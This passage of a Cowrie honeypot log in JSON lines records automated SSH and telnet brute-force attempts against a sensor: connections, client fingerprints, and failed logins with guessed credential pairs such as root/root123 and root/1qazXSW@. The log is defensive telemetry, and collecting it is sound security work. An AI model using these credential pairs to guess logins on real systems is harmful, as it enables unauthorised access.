poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:05.746061Z","src_ip":"91.92.42.227","session":"c02756e1545d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38762,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65963aaef63","protocol":"ssh","message":"New connection: 45.156.87.147:38762 (10.17.0.5:22) [session: a65963aaef63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:05.960330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:05.964237Z","src_ip":"45.156.87.147","session":"a65963aaef63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:06.045332Z","src_ip":"45.156.87.147","session":"a65963aaef63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39928,"dst_ip":"159.203.135.109","dst_port":23,"session":"d59740db70b1","protocol":"telnet","message":"New connection: 128.199.8.54:39928 (159.203.135.109:23) [session: d59740db70b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:06.087740Z"}
{"eventid":"cowrie.session.closed","duration":0.004269599914550781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:06.091931Z","src_ip":"128.199.8.54","session":"d59740db70b1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:06.295866Z","src_ip":"45.156.87.147","session":"a65963aaef63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:07.383526Z","src_ip":"45.156.87.147","session":"a65963aaef63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:07.900265Z","src_ip":"91.92.42.227","session":"c02756e1545d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:09.507857Z","src_ip":"91.92.42.227","session":"c02756e1545d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60454,"dst_ip":"10.17.0.5","dst_port":22,"session":"9281cb21792a","protocol":"ssh","message":"New connection: 91.92.42.227:60454 (10.17.0.5:22) [session: 9281cb21792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:11.457720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:12.067461Z","src_ip":"91.92.42.227","session":"9281cb21792a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:12.070446Z","src_ip":"91.92.42.227","session":"9281cb21792a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49648,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac383950959","protocol":"ssh","message":"New connection: 45.156.87.147:49648 (10.17.0.5:22) [session: dac383950959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:12.132538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:12.137623Z","src_ip":"45.156.87.147","session":"dac383950959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:12.222014Z","src_ip":"45.156.87.147","session":"dac383950959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:12.478497Z","src_ip":"45.156.87.147","session":"dac383950959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:13.562905Z","src_ip":"45.156.87.147","session":"dac383950959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:14.931167Z","src_ip":"91.92.42.227","session":"9281cb21792a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:16.755629Z","src_ip":"91.92.42.227","session":"9281cb21792a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49660,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50772d1bc63","protocol":"ssh","message":"New connection: 45.156.87.147:49660 (10.17.0.5:22) [session: b50772d1bc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:18.238540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:18.242175Z","src_ip":"45.156.87.147","session":"b50772d1bc63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:18.330965Z","src_ip":"45.156.87.147","session":"b50772d1bc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:18.721455Z","src_ip":"45.156.87.147","session":"b50772d1bc63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38830,"dst_ip":"10.17.0.5","dst_port":22,"session":"122cb2f9d4a5","protocol":"ssh","message":"New connection: 91.92.42.227:38830 (10.17.0.5:22) [session: 122cb2f9d4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:18.793408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:19.017889Z","src_ip":"91.92.42.227","session":"122cb2f9d4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:19.021158Z","src_ip":"91.92.42.227","session":"122cb2f9d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:19.807293Z","src_ip":"45.156.87.147","session":"b50772d1bc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:20.163745Z","src_ip":"91.92.42.227","session":"122cb2f9d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:21.299901Z","src_ip":"91.92.42.227","session":"122cb2f9d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8a198cd6f17","protocol":"ssh","message":"New connection: 45.156.87.147:46990 (10.17.0.5:22) [session: c8a198cd6f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:24.432026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:24.443387Z","src_ip":"45.156.87.147","session":"c8a198cd6f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:24.526735Z","src_ip":"45.156.87.147","session":"c8a198cd6f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:24.956119Z","src_ip":"45.156.87.147","session":"c8a198cd6f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:26.042485Z","src_ip":"45.156.87.147","session":"c8a198cd6f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3652974c2a1e","protocol":"ssh","message":"New connection: 91.92.42.227:48294 (10.17.0.5:22) [session: 3652974c2a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:26.111840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:26.131377Z","src_ip":"91.92.42.227","session":"3652974c2a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:26.219661Z","src_ip":"91.92.42.227","session":"3652974c2a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123","message":"login attempt [guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:26.607431Z","src_ip":"91.92.42.227","session":"3652974c2a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:27.932680Z","src_ip":"91.92.42.227","session":"3652974c2a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.173166036605835,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:28.730930Z","src_ip":"172.81.62.90","session":"1f45c296f7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57022,"dst_ip":"10.17.0.5","dst_port":22,"session":"513728a54d81","protocol":"ssh","message":"New connection: 45.156.87.147:57022 (10.17.0.5:22) [session: 513728a54d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:30.863998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:30.868038Z","src_ip":"45.156.87.147","session":"513728a54d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:30.953239Z","src_ip":"45.156.87.147","session":"513728a54d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:31.198272Z","src_ip":"45.156.87.147","session":"513728a54d81","protocol":"ssh"}
